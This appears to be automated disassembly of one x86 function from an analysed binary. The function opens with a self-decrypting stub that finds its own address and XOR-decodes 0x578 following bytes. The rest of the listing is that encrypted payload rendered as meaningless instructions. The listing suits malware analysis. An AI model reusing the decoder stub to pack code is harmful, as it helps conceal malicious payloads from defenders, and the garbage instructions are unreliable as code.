Function at 0x1b99ee8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1b99ef2
pushal
call 0x1b99ef8
pop ebp
sub ebp, 0x10
sub ebp, 0xb39ee8
jmp 0x1b99f0e
mov eax, 0xb39ee8
add eax, ebp
add eax, 0x4c
mov ecx, 0x578
mov edx, 0x917b7ffa
xor byte [eax], dl
inc eax
dec ecx
jne 0x1b99f25
jmp 0x1b99f38
jno 0x1b99f71
jno 0x1b99faf
invalid
out dx, eax
adc bh, bh
cli
cli
cli
adc edx, edx
cli
cli
cli
scasd eax, dword es:[edi]
scasb al, byte es:[edi]
cmpsd dword [esi], dword es:[edi]
jno 0x1b9a000
cli
cli
cli
jno 0x1b99ff6
idiv dl
cli
cli
jno 0x1b9a004
ljmp 0xf813:0x3bfafafa
cli
xchg edx, eax
neg dword [edx + 0x69]
cli
sti
salc
fisubr word [ebx - 0x50500ee]
cli
adc eax, ebp
clc
cli
cli
scasd eax, dword es:[edi]
scasb al, byte es:[edi]
cmpsd dword [esi], dword es:[edi]
add eax, 0x8f05f68f
adc cl, byte [eax + 0x71fafafa]
inc edi
cli
cli
cli
leave
xor edi, dword [ebx + 8]
out dx, eax
invalid
or bh, ch
out dx, eax
invalid
cli
cli
pushfd
jno 0x1b99fe0
ret
add dword [edx], edx
cmc
jle 0x1b99fe1
loopne 0x1b99ffc
cli
cli
cli
jp 0x1b9a007
adc esi, ebp
cmc
jle 0x1b99ff5
cli
cli
cli
pushfd
jnp 0x1b9a011
add eax, 0xef7ef5df
fcompi st(5)
jle 0x1b9a004
cli
cli
cli
mov ebx, 0x5053613
add eax, 0xfbc3b6d3
jns 0x1b9a05f
invalid
cmp eax, 0xfafafafb
cli
cli
cli
inc ecx
clc
cli
cli
cli
clc
sub ch, dh
jg 0x1b9a06b
invalid
cli
cli
cli
jo 0x1b9a05d
in al, dx
mov esp, 0x79f528e8
and al, byte [0x28f80505]
cmc
jg 0x1b9a07e
invalid
cli
cli
cli
jo 0x1b9a070
mov esp, 0x79f528e8
nop
call 0x923395b2
cli
cli
cli
leave
cmp bh, al
sub ch, dh
jg 0x1b9a093
invalid
cli
cli
cli
jo 0x1b9a085
in al, dx
mov esp, 0x79f528e8
sar bl, 1
cli
cli
clc
sub ch, dh
jg 0x1b9a0a6
invalid
cli
cli
cli
jo 0x1b9a098
mov esp, 0x3ae928e8
clc
sub ch, dh
jg 0x1b9a0b5
invalid
cli
cli
cli
jo 0x1b9a0a7
mov esp, 0x3ae928e8
clc
sub ch, dh
jg 0x1b9a0c4
invalid
cli
cli
cli
jo 0x1b9a0b6
mov esp, 0x3ae928e8
clc
sub ch, dh
jg 0x1b9a0d3
invalid
cli
cli
cli
jo 0x1b9a0c5
mov esp, 0x3ae928e8
cmc
cmp dh, ch
jle 0x1b9a0dd
cli
cli
cli
jno 0x1b9a10b
shl dword [edx], 1
jo 0x1b9a0e3
stc
jb 0x1b9a0e9
mov ebp, 0xfafaf841
cli
adc ecx, dword [edx + 0x42050505]
sti
cli
cli
add eax, 0xfafafb42
cli
clc
sub ch, dh
jg 0x1b9a100
invalid
cli
cli
cli
jo 0x1b9a0f2
mov esp, 0x3ae928e8
clc
sub ch, dh
jg 0x1b9a10f
invalid
cli
cli
cli
jo 0x1b9a101
mov esp, 0x78f528e8
and al, 5
add eax, 0x4139d105
sti
cli
cli
cli
cmc
jg 0x1b9a0f6
cli
cli
cli
inc ebx
sti
cli
cli
cli
clc
sub ch, dh
jg 0x1b9a134
invalid
cli
cli
cli
jo 0x1b9a126
mov esp, 0x33e928e8
clc
sub ch, dh
jg 0x1b9a143
invalid
cli
cli
cli
jo 0x1b9a135
mov esp, 0x78f528e8
and al, 5
add eax, 0xd71ac05
ror dword [edi], 1
or dword [esi - 0x5c], ebx
adc esi, edx
add eax, 0x3bb20505
sbb dh, dl
jo 0x1b9a161
mov esp, 0xfb431271
cli
cli
cli
clc
sub ch, dh
jg 0x1b9a171
invalid
cli
cli
cli
jo 0x1b9a163
mov esp, 0x33e928e8
clc
sub ch, dh
jg 0x1b9a180
invalid
cli
cli
cli
jo 0x1b9a172
mov esp, 0x78f528e8
and al, 5
add eax, 0xfa027b05
xchg edx, edi
cli
jnp 0x1b9a1ba
add eax, 0x7b050505
add bh, dl
invalid
cli
cli
jnp 0x1b9a1e6
sub edi, edx
cli
cli
cli
cli
lodsb al, byte [esi]
jno 0x1b9a1cf
ror dword [edx], 1
or dword [esi - 0x5c], ebx
adc esp, dword [ecx + 4]
add eax, 0xbcfc7005
leave
xor edi, dword [edx]
adc bh, bl
cmc
jle 0x1b9a1b7
cli
cli
cli
jnp 0x1b9a207
clc
cli
cli
cli
jno 0x1b9a1f4
lodsb al, byte [esi]
jno 0x1b9a1f2
ror dword [edx], 1
or dword [esi - 0x5c], ebx
or cl, byte [ecx]
pop esi
movsb byte es:[edi], byte [esi]
inc ecx
sti
cli
cli
cli
adc ecx, dword [ecx - 0x58fafafc]
add eax, 0x87d1a705
bnd jno 0x1b9a237
cmpsd dword [esi], dword es:[edi]
rol dword [edi - 0x5ac28e0e], 1
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jno 0x1b9a21d
cmpsd dword [esi], dword es:[edi]
cmp dl, dh
cli
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
adc edi, esi
cli
cli
cli
punpcklbw mm7, dword [ecx - 0x50]
inc edx
adc ah, byte [ecx + ecx*2 - 6]
stc
aas
jnp 0x1b9a250
mov cl, 0xf9
cli
cli
inc ebx
cmp eax, 0xfffffffa
cli
cli
inc eax
int1
in al, dx
fld qword [eax - 0x36]
ljmp 0x50c
jbe 0x1b9a248
jp 0x1b9a1ca
int 0x7a
dec ebp
invalid
mov bh, 0xcd
jp 0x1b9a2c1
rol ebp, 0xf1
int1
int1
fisubr dword [ecx]
jp 0x1b9a1fb
int1
jp 0x1b9a216
cmc
jo 0x1b9a266
int1
int1
int1
int1
invalid
daa
jo 0x1b9a29f
stc
int1
int1
int1
jo 0x1b9a287
stc
int1
int1
int1
jo 0x1b9a27d
int1
int1
int1
int1
invalid
push cs
push cs
xchg edi, eax
jp 0x1b9a278
xor byte [ecx], bl
std
jb 0x1b9a298
invalid
int1
invalid
adc dword [esi], ecx
invalid
invalid
dec eax
and esi, eax
int1
int1
dec ebx
shr dword [edi], 0x5f
jbe 0x1b9a28d
loope 0x1b9a27f
mov eax, 0xe0774fe
push cs
push cs
sbb ch, dh
int1
int1
int1
scasb al, byte es:[edi]
lodsd eax, dword [esi]
push 0xbf4a
std
dec edx
jge 0x1b9a2da
inc ecx
rol ecx, 0xc1
ret 0x423f